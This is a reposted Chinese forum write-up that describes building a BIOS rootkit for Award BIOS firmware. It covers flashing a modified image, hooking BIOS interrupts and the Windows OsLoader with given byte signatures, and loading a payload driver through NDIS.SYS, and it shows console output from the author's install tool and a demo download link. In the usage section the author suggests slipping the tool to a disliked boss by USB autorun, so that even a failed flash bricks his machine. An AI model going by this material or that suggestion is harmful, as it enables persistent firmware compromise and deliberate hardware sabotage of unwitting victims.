发新话题
打印

[转载]BIOS Rootkit:Welcome home, my Lord!

[转载]BIOS Rootkit:Welcome home, my Lord!

文章作者:icelord (icelord_at_sohu.com)
         
[Author ]: Icelord
[Contact]: icelord@sohu.com
[Data  ]: @2007/04/26->...

  本文介绍一个简单BIOS rootkit的简单设计过程
  意在抛砖引玉,期待高手们指点
  
  其中涉及的几篇文字均可在blog.csdn.net/icelord上找到
  http://blog.csdn.net/icelord/archive/2007/05.aspx

[申明]

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

  本文所涉及到的资料,均来自internet...
  由此造成的后果,与本人无关
  假设您已经了解x86和NT的相关知识。
  内容仅为个人意见。由于时间仓促,很多细节没有验证,错误很多。
  如果您有不同意见,可联系icelord@sohu.com,欢迎指正。

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

[前言]

  这是很早的一个想法了。//那是去听一位讲TPM,很长篇的,
  打瞌睡,于是想怎么破坏那种限制(在一定条件下),自然而然想到了BIOS Coding,
  后来就转化为BIOS Rootkit...


[国内外发展状况]

  ACPI BIOS Rootkit
  PCI Module BIOS Rootkit
  CPU Micro Code...???  
  

  times 3K db 0  ;这里省略3K Bytes


[rootkit定义]
  google yourself
[BIOS介绍]
  google yourself
[BIOS RootKit的优缺点]
  很明显
[IcLord BIOSRootkit的组成]

  下面的方法很笨拙,但是我的目的只是让它能运行起来...
  如果您有好的方法,欢迎指点/交流
  
  (1).Flasher
  (2).BIOS Module
  (3).Bootstrap
  (4).NT RootKit //?

[问题]
(1).植入
  如何将rootkit植入到BIOS中...
(2).启动
  如何在启动的过程中执行rootkit的指令...
(3).切换
  BIOS在OS之前运行,要想启动OS,需要将CPU控制交还到BootLoader。
  此时,CPU处于RealMode,没有多任务,没有VM...
  那么,如何使得我们的RootKit再次获取CPU?...
(4).RootKit实体
  怎样实现Rootkit的功能:hide,shell...
  
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

[解决方法]
  [流程]
    ISAModule-->hook BIOS int svc,
    从而在int svc中再Hook NTLDR!OsLoader.EXE,
    在NTLDR!OsLoader.EXE中再进行kernel subversion
   
    hehe,看起来很简单,实际遇到的问题那可是相当麻烦啊,follow me,逐个解决
   
  [目标]
    该程序能启动.sys类型的存在的rootkit,也就是能在NT操作系统中启动.sys(<64KB)文件...
   
    BIOS RootKit本身要实现安装.sys到BIOS中,并在PC启动时使该.sys在特定的操作系统下生效

一、如何将代码植入到BIOS中
  
  [目标]
  将制定的代码植入到BIOS中,并且在BIOS初始化的末尾获得运行的机会。
  
  [solution?]
  将代码植入到BIOS,需要解决以下问题:
  (1).如何修改BIOS,添加自己的代码
  (2).如何刷新BIOS

  //预备知识:
  //
  //BIOS(Basic Input/Output System)负责初始化各种硬件,Provide Runtime Service,并负责加载并执行BootSector,
  //将CPU转交OSLoader。当前BIOS Provider主要为Phonix-Award,AMI好像很少(至少在我这里)。
  //BIOS存储在FlashROM中。
  //FlashROM(快速只读存储器)是当前主板、显卡的BIOS程序的主要存储介质。
  //FlashROM在一般情况下为只读,写无效,即里面存储的数据无法被修改,而且断电之后数据仍然保存。
  //FlashROM一般为字节读取,扇区/块擦除,byte/sector/page/bulk Program。
  //BIOSROM影射在内存的高端。为防止程序运行时的内存写入破坏BIOS,一般FlashROM都软件和硬件保护。
  //
  //FlashROM一般连接在南桥的LPC(Low Pin Count)总线上,南桥芯片有不同的寄存器来控制FlashROM的WE和解码。
  //
  //[SST 49LFxxx系列的刷新问题]
  //  我不知道SST应用是否广泛,但至少我这里有几台机器都是 SST 49LFXXX系列的FlashROM
  //  
  //  例如,SST 49LFxxx系列FlashROM,这种FlashROM提供SDP(Software data protect)和HDP(Hardware Data protect).
  //  要对FlashROM写入,需要向FlashROM的特定位置发送特定的指令序列,而且TBL#(Top Boot Lock)和WP#(Write Protect)。
  //  除此之外,还需要设置ICH的BIOS_CNTL和LPC_DEC_EN寄存器...(对ICH4芯片...),Firmware Hub的Block Locking register...
  //
  //[PCI配置寄存器的知识和问题]
  //
  //  不同的主板芯片需要不同的设置,不同的FlashROM需要不同的刷新方法,具体需要看相关的DataSheet和Specification.
  
  BIOS是分模块的固件程序...
  
  [Award BIOS 6.00PG(2Mb)的结构]
    见<<awdBIOS 镜像结构简单分析>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604122.aspx
   
  
  [Award 2M BIOS src分析]
    brief:只是为了了解初始化流程
    见<<awdBIOS 2M Src简单分析>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604133.aspx
   
   
  [加入ISA模块和Hook问题]
    见<<加入ISA模块和Hook问题>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604151.aspx
    见<<awdBIOS 数据结构>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604156.aspx
   

  [效验和问题]
    怎样修复添加模块后的BIOS的效验和?
    见<<关于BIOS效验和的问题>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604179.aspx
  
  [刷新的问题]
    [UniFlash源码分析]
      很好的开源软件,
      见<<UniFlash简单分析>>
      http://blog.csdn.net/icelord/archive/2007/05/11/1604188.aspx
    [WinFlash的简单分析]
      win平台的AWD BIOS刷新程序,IDA一下,看看它究竟怎么刷新...
      见<<WinFlash_AwdFlash简单分析>>
      http://blog.csdn.net/icelord/archive/2007/05/11/1604209.aspx
      
  [关于辅助驱动]
    在NT下刷新BIOS需要读写物理内存和/或IO端口,那么怎样快速的读写物理内存和/或IO端口。
    见<<读写物理内存和IO端口>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604229.aspx
   
   
  [实际测试方法]
  
    至少应该有两台相似的机器,即FlashROM相同(可拆卸的那种),BIOS相同,以确保在刷新失败后迅速恢复。
    你也可以使用BootBlock的功能,用软盘恢复,不过试验时读盘之后就没了反应...
   
    之后你就可以从ISA模块开始测试了。
  
  
  [问题多多]
  
    [complex hardware environment]
   
    [diferent bios vendor & version]
   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

二、如何在BIOS/OsLoader中启动Rootkit

  [目标]
  
  将ring0/ring3 Rootkit隐藏于 BIOS中,并且能够在用户选择操作系统之后开始工作。
  Rootkit以驱动(ring0 okay以后,ring3应该更简单)的形式存在(其实就是嵌入到 BIOS中)。

  [当前状态]
    Location:  BIOS Module
    Seq:    BIOS POST Section...
    state:   16Bit Real Mode
   
    先看一下x86 PC/(using awdbios)初始化流程
    >...
    >BIOS_memsizing..
    >XXXX  (uncared...)
    >ISA/PCI Module Init
    >Int 0x19
    >MBR
    >PBR(obr?)
    >Ntldr
    >KernelImage/Drivers
   
    这时,我们已经能够在实模式下执行代码了,而且有BIOS服务可以使用(???)。此时
  操作系统还没有启动,没有文件系统,我们的目标是在操作系统支持下的一个特殊Shell
  程序,所以我们需要放弃CPU将控制转交到BIOS,使之完成正常初始化。那么如何使我们的
  代码再次获得CPU(被运行)?
    (1).写文件
      就是将需要运行的代码写入到磁盘文件中(OS 需要且会执行的文件),OS在启动中
      再运行此文件,从而获取执行的机会。
      很明显,此方法很复杂,需要很多特殊的环境,特别是文件系统的操作...
    (2).Hook
      老方法:Hook BIOS代码,再在hook代码中进行多级Hook,从而在运行loader时重新获取执行
      的机会。
      这个方法现在很流行...
  
  注:Nt Loader在启动中,将使用BIOS服务来读取所需的磁盘数据,所以直接Hook BIOS服务即可
  实现对 Loader的Hook,获得再次执行的机会。

  在BIOS ISA模块中,可以使用BIOS服务(E8_POST?)//此处没有作深入的测试
  在测试中直接在ISA ROM Init 阶段Hook int 13h失败,所以采用了Hook int 0x19-->hook int 0x13
  的方式,比较罗嗦,但是可以将就着用...
  
  [NTLDR分析]
    已经有高人分析过了,但是没看懂,自己按需要记录了一下,需要知道流程:
    见<<NTLDR.分析笔记>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604312.aspx
  
  [Signature Code的确定]
    见<<x HookCode的选择>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604320.aspx
  
  首先要确保能hook用户选择的操作系统,所以要Hook的代码应该位于KeSelectKernel()函数之后
  其次,当我们Hook的代码运行时,操作系统内核和BootDriver应已经加载到内存,这样就会方便
  我们进一步Hook Kernel或者BootDriver,实现向VM32下的切换。要满足这个条件,要Hook的代码应该
  在&#39;BlLoadImage(NTOSKRNL)&#39;之后了.
    其实很简单。直接从Osloader将控制转交到NTOSKRNL.EXE处开始向前查找即可
  即从代码(SystemEntry)(BlLoaderBlock);之前查找。
  考虑到兼容性的问题,即如何适应不同版本的 OsLoader.
  简单想法是查找CPU控制寄存器相关的指令来Hook,因为通用寄存器很难找到三个版本通用的Hook指令。
  但是Turn On Paging时肯定会用到CR0(/CR3)寄存器。所以直接查找&#39;mov eax,cr0&#39;之类的指令,看是否
  三个版本的OSLOADER.exe中是否有相同的代码。hehe,运气不错,在BlSetupForNT()中找到了三个OSLoader.exe
  都存在的指令,可以说是童叟无欺,基本可用。
  
  代码如下:
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  [Ref_nt4: \boot]   
  //
  // Mapped hardcoded virtual pointer to the boot processors PCR
  // The virtual pointer comes from the HAL reserved area
  //

  //
  // First zero out any PTEs that may have already been mapped for
  // a SCSI card.
  //

  RtlZeroMemory(HalPT, PAGE_SIZE);
  _asm {
    mov   eax, cr3        //拿CR3开刀,hehe
    mov   cr3, eax
  }

  HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].PageFrameNumber = PCR+1;
  HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].Valid = 1;
  HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].Write = 1;
  RtlZeroMemory((PVOID)KI_USER_SHARED_DATA, PAGE_SIZE);
  
  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  
  三个版本的Osloader.exe中断汇编代码如下:
  windows 2000 pro
  
  AssembleCode:
  .text:0031F244 010 mov   edi, ds:dword_357670
  .text:0031F24A 010 mov   esi, 400h
  .text:0031F24F 010 mov   ecx, esi
  .text:0031F251 010 xor   eax, eax
  .text:0031F253 010 rep stosd
  .text:0031F255 010 mov   eax, cr3
  .text:0031F258 010 mov   cr3, eax
  .text:0031F25B 010 mov   eax, ds:dword_357670
  .text:0031F260 010 mov   ecx, ds:dword_3324B0
  
  HexCode:
  8B 3D 70 76 35 00
  BE 00 04 00 00
  8B CE
  33 C0
  F3 AB
  0F 20 D8
  0F 22 D8
  A1 70 76 35 00
  8B 0D B0 24 33 00
  
  ---------------------------------------------------------------------------
  windows xp sp2
  
  AssembleCode:
  .text:00428D81 018 mov   edi, dword_46A410
  .text:00428D87 018 mov   ebx, 400h
  .text:00428D8C 018 mov   ecx, ebx
  .text:00428D8E 018 xor   eax, eax
  .text:00428D90 018 rep stosd
  .text:00428D92 018 mov   eax, cr3
  .text:00428D95 018 mov   cr3, eax
  .text:00428D98 018 mov   eax, dword_46A410
  .text:00428D9D 018 add   eax, 7C0h
  
  HexCode:
  8B 3D 10 A4 46 00
  BB 00 04 00 00
  8B CB
  33 C0
  F3 AB
  0F 20 D8
  0F 22 D8
  A1 10 A4 46 00
  05 C0 07 00 00
  
  ---------------------------------------------------------------------------
  windows 2003 sp0
  
  AssembleCode:
  .text:0042C6BD 018 mov   edi, dword_471B90
  .text:0042C6C3 018 mov   ebx, 400h
  .text:0042C6C8 018 mov   ecx, ebx
  .text:0042C6CA 018 xor   eax, eax
  .text:0042C6CC 018 rep stosd
  .text:0042C6CE 018 mov   eax, cr3
  .text:0042C6D1 018 mov   cr3, eax
  .text:0042C6D4 018 mov   eax, dword_471B90
  .text:0042C6D9 018 add   eax, 7C0h
  
  HexCode:
  
  8B 3D 90 1B 47 00
  BB 00 04 00 00
  8B CB
  33 C0
  F3 AB
  0F 20 D8
  0F 22 D8
  A1 90 1B 47 00
  05 C0 07 00 00
  
  ---------------------------------------------------------------------------
  
  Signature Code:
  
  ------------------------------------------------
  8B 3D ** ** ** **    ;mov edi,dword [addr]
  ** 00 04 00 00     ;mov reg,0x400
  8B **          ;mov ecx,reg
  ------------------------------------------------
  33 C0          ;xor eax,eax
  F3 AB          ;rep stosd
  0F 20 D8        ;mov eax,cr3
  0F 22 D8        ;mov cr3,eax
  ------------------------------------------------
  A1 ** ** ** **     ;mov eax,dword [addr]
  ------------------------------------------------
  
  finally:
  
  code={33 c0 f3 ab , 0f 20 d8 0f , 22 d8 a1}
  dword:0xabf3c033,0x0fd8200f,0x??a1d822
  
  or
  
  33
  c0 f3 ab 0f,20 d8 0f 22,d8 a1
  
  ------------------------------------------------
  
  haha,只要在int 0x13中hook上面所示的代码,即可在用户选择操作系统,并且OsLoader.exe
  加载了内核和BootDriver之后获得执行的机会.那时,你可以再次任意hook Kernel。
  
  为什么搞的这么麻烦?因为我的目的是加载一个额外的驱动。这要求在BootDriver初始化开始时才
  运行的.   
  
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

三、切换

  [当前状态]
  
    当运行到这里时我们处于32Bit PM,Paging的状态下。
    EIP位于BlSetupForNt()函数中...,Ntoskrnl.exe>0x8000 0000的位置
  [可否利用OsLoader的内建驱动来写文件?]
    这个问题见<<NTLDR内建文件系统驱动分析>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604350.aspx
    和<<关于在OsLoader.exe中写文件的问题>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604360.aspx
  [BootBlock问题]
    怎样确定内核模块的加载位置?
   
    要Hook kerel或者其它驱动,首先要能够确定这些模块在内存中的位置。从上面的Ntldr分析和
  在2K_SRC中可以了解到这样一个变量BlLoaderBlock,在这个变量中能够获取很多信息,包括加载的
  模块信息链表/内存信息链表(见NTLDR分析)。那么,怎样才能找到一个确定BlLoaderBlock的位置的方法,
  而且使得它在三个版本的Osloader.exe中通用?
    (1).可以使用硬编码,不同版本的Osloader应该很容易判断,不同的osloader的BlLoaderBlock使用经验
  地址即可。
    (2).使用堆栈。这种方法比较巧妙。
    由于在OSLoader.exe中很多函数使用了bp-based的函数,即:
    ...
    push ebp
    mov ebp,esp
    sub esp,xxx
    ...
    所以,
    caller&#39;s ebp等于*ebp,如下图
   
    +-----------+ [Low Memory]
    | local var |
    +-----------+
    |  ebp  +---+
    +-----------+  |   current stack/me
    | ret_addr |  | ________________________
    +-----------+  |
    |  arg0  |  |
    +-----------+  |
    |  arg1  |  |
    +-----------+  |
    |  argn  |  |
    +-----------+  |
    |  ...   |  |
    +-----------+  |
    | local_var |  |
    +-----------+  |
    |  ebp  |<--+
    +-----------+     caller/father_proc
    | ret_addr |   __________________________
    +-----------+
    |  arg0  |
    +-----------+
    |  arg1  |
    +-----------+
    |      |  
    +-----------+ [High Memory]
    [BP Based Stack Frame]
   
    (有点像入门教程了,hehe)
    所以(*ebp+0x8)-->caller&#39;s 1st params
      (*ebp+0xC)-->caller&#39;s 2st params
    这样就可以逐级获取caller的参数。
   
    通过分析NTLDR可以发现如下的call path..
   
    BlOsLoader(9,Argv,NULL);
      +-->BlSetupForNt(BlLoaderBlock);
        +-->OutHookCode here!!!
   
    说到这里,应该很明显了...(你可以通过这个方法获取NtProcessStartup()的参数BootContextRecord...??/uncared)
   
    ---------------------------------------
    还有一种方法就是应用在call指令中
    call func_addr
    那么就可以通过堆栈中的ret_addr取得这条指令地址以及func_addr,hehe,简单
   
    <<>>
   
  [保留内存映射问题]
    怎样确保自己在影射的内存范围内?按照常规的思路,我们的RootKit将被影射到0x80000000+physAddr.
    但是,当使用保留内存的时候,这样的的做法并不可行。在实验中,初始化时将自己拷贝到了保留内存中,
    NTOSKRNOL进行BootDriver初始化时跳转运行,蓝屏,骂之,再蓝屏...
    超过4个小时的Win2K/BOCHS安装,将hook Code该为0xeb 0xfe,中断,察看虚拟内存,
    发现保留的内存没有影射(即640KB的附近区域)。试了好久,没办法,暂时有两种方法:
    (1).在BlSetupForNT()中,将自己拷贝到其他区域
    (2).修改BlLoaderBlock中的内存链表
      这种方法比较简单,内存链表中的每块内存都有属性,只需要修改内存块的属性,即可让Ntoskrnl在初始化时映射
    指定的内存区域(到0x8xxx xxxx)。
    见<<保留内存影射问题>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604362.aspx
   
  [NDIS.SYS Hook的问题]
    怎样Hook?怎样确保relocate/remap之后仍然有效?
    开始打算Hook Ntoskrnl.exe,后来决定不妥,我们只需要一个能初始化驱动的机会,
    所以就hook ndis,在ndis初始化之后再初始化自己的rootkit驱动。
   
    这样做的问题是如何让NDIS.SYS初始化之后初始化自己的驱动。
    首先我们的可以知道驱动所在的物理内存,常规计算,加上2G,得到虚拟地址。我们的hookCode也会跳到这个位置。
    但是,NDIS.SYS初始化时会重新映射到0xFxxx xxxx的位置,会进行重定位。
    将你的hookCode该为0xeb 0xfe,再截断ntoskrnl.exe,你就会发现这一点。
   
    所以不能直接修改BlLoaderBlock里面对Module的EntryPoint域来达到Hook。
    实际中使用了 inline hook,这样我们可以获取ndis.sys的初始化参数DriverEntry(pDroverObject,pStr_RegPath)
   
    部分信息见<<Hook NDIS.SYS入口问题>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604369.aspx
   
  
  [怎样初始化自己的Driver/Rootkit(.sys)]
    部分见<<BootDriver初始化流程>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604387.aspx
    驱动的初始化很简单,在<<do all in one exe file>>一文中有详细的介绍
    http://blog.csdn.net/icelord/archive/2007/05/11/1604086.aspx
    这里使用相同的手法.
   
    有些rootkit要Hook Ndis,所以在这里我们先让NDIS.SYS初始化,然后再初始化我们自己的驱动。
   
    因为在跳转到我们自己的代码时可以通过[BootBlock问题]section所示的方法,获取
    NDIS.SYS在初始化后的EntryPoint和params,直接把它的 DriverEntry()当作普通函数来调用即可。
    然后,再初始化自己。
   
    至于如何加载.sys文件并展开到内存重定位之类的,网上有很多资料,在<<do all *>>里面也有介绍。
    见<<do All In One Exe File>>
    http://blog.csdn.net/icelord/archive/2007/05/11/1604086.aspx
  
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
四、RootKit实体

  至于rootkit,可以根据自己的需要随便写一个.sys文件即可
  [扩展]
   
    也可以再次hook ndis,例如hook NDIS_OPEN_BLOCK/NDIS_PROTOCOL_BLOCK之类的,作一个简单shell
   
    或者更简单点点,释放一个exe
   
    或者利用APC来插入自己的ring3 code到任何一个线程...
   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
五、应用
  写了一个简单的demo
  利用此demo,可以将任何<32KB(其实是27KB)的.sys嵌入到AWD BIOS 6*中,并在PC启动时运行,
  如果进入NT系统,则会在BootDriver初始化过程中运行(IopInitializeBootDrivers阶段)
  (确切的说是自NDIS.SYS初始化之后运行)。
  
  测试过的环境:
  
  p4 1.7G 256RAM i845 SST49LF002A(2M) FWH AWD BIOS 6.00PG
  
  p4 3.2G 512RAM i9xx SST49LF004A(4M) FWH AWD BIOS 6.00PG
  
  Athlon 2500+ 768RAM Via KT600(?) WinBond xxx(4M) AWD BIOS 6.00PG
  
  至于其它奇机器,没条件试
  
  怎么使用:
  如果看领导不爽的话,将 iclord.exe置U盘中,写一AutoRun.INF,待领导用时殷勤献上...
  hehe,可以出出气了,成功的话最好,不成功的话,也能让他忙N天吧..(刷坏的BIOS,而且 FlashROM焊死到了主板上)
  
  -----------------------
  格式:
  x:\>iclord.exe /install 123.sys  
  
  下面是测试结果:
  Microsoft Windows 2000 [Version 5.00.2195]
  (C) 版权所有 1985-1998 Microsoft Corp.
  
  C:\>iclord
          ICLord BIOS Rootkit [v8.0 test version]
  ------------------------------------------------------------------------------
              >>>>test only!!!<<<<
  ------------------------------------------------------------------------------
  Usage:
  /?               show this help.
  /dump [bios_image_name]     show info & dump bios image to specific file.
                  bios image is auto saved as OrigBios.ROM
  /install  [new_payload]    install ICLord BIOS Rootkit[UsingSMIflashing].
  /installex [new_payload]    install ICLord BIOS Rootkit[NotUsingSMI...].
  /view_mem base         dump physical memory content.
  /info              show some hardware info...
  /dump_ex            Generate &#39;BIOS Image with Payload Included&#39;
                  From Naive BIOS Without Flash...
  /cbrom_ BiosImage /isa xxx...  this is a Lite CBROM,[to be ...] hehe
  /flash BiosImgeFile       Flash BIOS Image File to BIOS ROM.
                  Make Sure that bios image is valid!!!!.
  
  Original BIOS ROM is AutoSaved as &#39;OrigBios.ROM&#39;.
  New BIOS is AutoSaved as &#39;NewBios.ROM&#39;.
  ------------------------------------------------------------------------------
  
  C:\>iclord /install protextor.sys
  Write 97E Bytes...
  Write 40000 Bytes...
  Name:6A69VM4H.BIN    Type:50000000  Offset:    0 ModuleSize:12AE2
  Name:awardext.rom    Type:407F0000  Offset:  12AE4 ModuleSize:96C8
  Name:CPUCODE.BIN    Type:40010000  Offset:  1C1AD ModuleSize:1024
  Name:ACPITBL.BIN    Type:40030000  Offset:  1D1D2 ModuleSize:17BB
  Name:AwardBmp.bmp    Type:40020000  Offset:  1E98E ModuleSize:30C
  Name:_EN_CODE.BIN    Type:40290000  Offset:  1EC9B ModuleSize:1396
  Name:ANTI_VIR.BIN    Type:40070000  Offset:  20032 ModuleSize:14AB
  Name:cafe.bmp      Type:40000000  Offset:  214DE ModuleSize:492E
  Decompress okay...!!!
  SystemBIOS CRC:AC36
  BIOS Version:Award Modular BIOS v6.00PG
  BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
  BIOS ID:6A69VM4Hd Modular BIOS v6.00PG
  erorr @ load_file()...
  error @ load new payload!!
  Error @ ReplacePayload!!
  
  C:\>iclord /install protector.sys
  Write 97E Bytes...
  Write 40000 Bytes...
  Name:6A69VM4H.BIN    Type:50000000  Offset:    0 ModuleSize:12AE2
  Name:awardext.rom    Type:407F0000  Offset:  12AE4 ModuleSize:96C8
  Name:CPUCODE.BIN    Type:40010000  Offset:  1C1AD ModuleSize:1024
  Name:ACPITBL.BIN    Type:40030000  Offset:  1D1D2 ModuleSize:17BB
  Name:AwardBmp.bmp    Type:40020000  Offset:  1E98E ModuleSize:30C
  Name:_EN_CODE.BIN    Type:40290000  Offset:  1EC9B ModuleSize:1396
  Name:ANTI_VIR.BIN    Type:40070000  Offset:  20032 ModuleSize:14AB
  Name:cafe.bmp      Type:40000000  Offset:  214DE ModuleSize:492E
  Decompress okay...!!!
  SystemBIOS CRC:AC36
  BIOS Version:Award Modular BIOS v6.00PG
  BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
  BIOS ID:6A69VM4Hd Modular BIOS v6.00PG
  Write 8000 Bytes...
  crc8_ex()=0xE9
  crc8_ex()=0x31
  Write 40000 Bytes...
  ................................................................
  Checking BIOS ...
  ................................................................
  BIOS Check Okay!!!>>>>>>
  
  C:\>iclord /info
  Write 97E Bytes...
  Write 40000 Bytes...
  Name:6A69VM4H.BIN    Type:50000000  Offset:    0 ModuleSize:12AE2
  Name:awardext.rom    Type:407F0000  Offset:  12AE4 ModuleSize:96C8
  Name:CPUCODE.BIN    Type:40010000  Offset:  1C1AD ModuleSize:1024
  Name:ACPITBL.BIN    Type:40030000  Offset:  1D1D2 ModuleSize:17BB
  Name:AwardBmp.bmp    Type:40020000  Offset:  1E98E ModuleSize:30C
  Name:_EN_CODE.BIN    Type:40290000  Offset:  1EC9B ModuleSize:1396
  Name:ANTI_VIR.BIN    Type:40070000  Offset:  20032 ModuleSize:14AB
  Name:cafe.bmp      Type:40000000  Offset:  214DE ModuleSize:492E
  Name:leaving.bin    Type:40A40000  Offset:  25E0D ModuleSize:12C5
  Decompress okay...!!!
  SystemBIOS CRC:AC36
  BIOS Version:Award Modular BIOS v6.00PG
  BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
  BIOS ID:6A69VM4Hd Modular BIOS v6.00PG

  注:
    (1)protector.sys是一个rootkit(我也不知道是干什么的,从rootkit.com上下载的,
    会创建一个\\Device\\Protector的设备...用自己的驱动文件IO_HLPER.SYS也测试
    成功)
    (2)观察BIOS模块,多出来的leaving.bin就是我们的bootstrap,ISA Module...
    是整个rootkit的主体。
   
  再次启动机器时,进入Windows后,用winobj查看,就可以发现\\Device\\protector这
  个设备.
  如果需要查看详细信息
  可以按F8选择*安全模式,这样leaving.bin的信息会在NT启动过程中显示在屏幕上
  (使用了0xB8000来显示,所以正常启动时(VESA模式)看不到)
  
  测试过三个系统:
  >win2k sp0 with SST49LF002A
  >winxp SP2 with SST49LF002A
  >win2003 SP0 with SST49LF004A
  
  -----------------
  下面测试的leaving.bin,通过,没有用icelord.exe来测试..
  (tools:winflash+cbrom215.exe,payload = leaving.bin)
  >winxp SP2 with with winbond xxx(512KB 6.00PG)
  
  
  本来打算写个默认的NDIS BackDoor,不过有些问题没有解决,就拿protector.sys当作默
  认的payload了...
  待高手指点。
  
  注:
    leaving.bin为ISA模块,使用NASM和DJGPP编写,可附加小于27KB的.sys文件(其实
    可以为64KB total,暂时用0x8000大小)
    iclord.exe内嵌驱动IO_HLPER.SYS和Leaving.bin...
    很简单吧?
  
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
六、总结
  
  由于PC机的硬件和软件环境复杂,这样的RootKit只能在一部分机器上跑。
  加上新的EFI应用,Vista的推广,立足之地那是少的可怜...
  
  其实你可以把rootkit做成虚拟机,让NT跑在虚拟机之上,开个玩笑...  
  
  
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

七、参考/thanks

  [Rference]
   
    a lot...enum @ blog.csdn.net/icelord
  
  
  [Thanks]
  
    a lot...enum @ blog.csdn.net/icelord

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
八、Demo下载

  估计看到这里也没明白是怎么回事的人很多吧...
  没办法,本人语文水平就这样,"这辈子就吃了没文化的苦了"...
  
  如果您有不同见解,mail to:icelord@sohu.com
  
  下载页面:
  http://blog.csdn.net/icelord/archive/2007/05/11/1604796.aspx
  
  如果您有兴趣测试demo,可通过上面的下载页面来获取...
  至于src,mail to:icelord@sohu.com
  
  请勿用于非法途径,本文仅作技术交流之用!
  
  //广告空间:seeking a job / currently   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题